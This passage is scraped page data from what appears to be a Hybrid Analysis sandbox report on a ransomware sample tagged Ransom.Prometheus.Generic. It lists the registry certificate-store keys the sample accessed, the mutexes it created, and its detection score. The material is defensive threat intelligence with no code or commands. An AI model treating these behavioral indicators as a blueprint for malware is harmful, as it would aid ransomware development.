urces":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\\","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7792:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7792:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\30f3cc81f4f8c33082e0931f673e9c8a1d24d37b","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"Local\\SM0:7792:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"Local\\SM0:7792:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"SM0:7792:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"30f3cc81f4f8c33082e0931f673e9c8a1d24d37b","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"\\BaseNamedObjects\\SyncRootManager","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7792:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7792:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1248:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"Local\\SM0:1248:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"SM0:1248:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1248:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7296:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"SM0:7296:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"Local\\SM0:7296:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7296:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1292:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"Local\\SM0:1292:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"SM0:1292:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1292:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:8120:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"Local\\SM0:8120:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"SM0:8120:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"SM0:8120:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8120:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:8120:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4212:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4212:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"SM0:4212:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"Local\\SM0:4212:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"SM0:4212:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4212:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65b38ec90c39817d070bc495"}]}]}},"report_ids":{"sandbox_job_ids":["65b38ec90c39817d070bc495"]}}}]]}] 2c:[["$","title","0",{"children":"Malicious Ransom.Prometheus.Generic Sample 0032705a736c… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 0032705a736c…. Malware family: Ransom.Prometheus.Generic. Threat score 100/100. 18/25 AV engines flagged this file. 9 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/0032705a736c09ccb7d06c156ceceee2c5915f486a32df2cd0d00d8393c9e0f2"}],["$","meta","4",{"property":"og:title","content":"Malicious Ransom.Prometheus.Generic Sample 0032705a736c… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 0032705a736c…. Malware family: Ransom.Prometheus.Generic. Threat score 100/100. 18/25 AV engines flagged this file. 9 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/0032705a736c09ccb7d06c156ceceee2c5915f486a32df2cd0d00d8393c9e0f2"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Ransom.Prometheus.Generic Sample 0032705a736c… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 0032705a736c…. Malware family: Ransom.Prometheus.Generic. Threat score 100/100. 18/25 AV engines flagged this file. 9 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L81","11",{}]] 32:null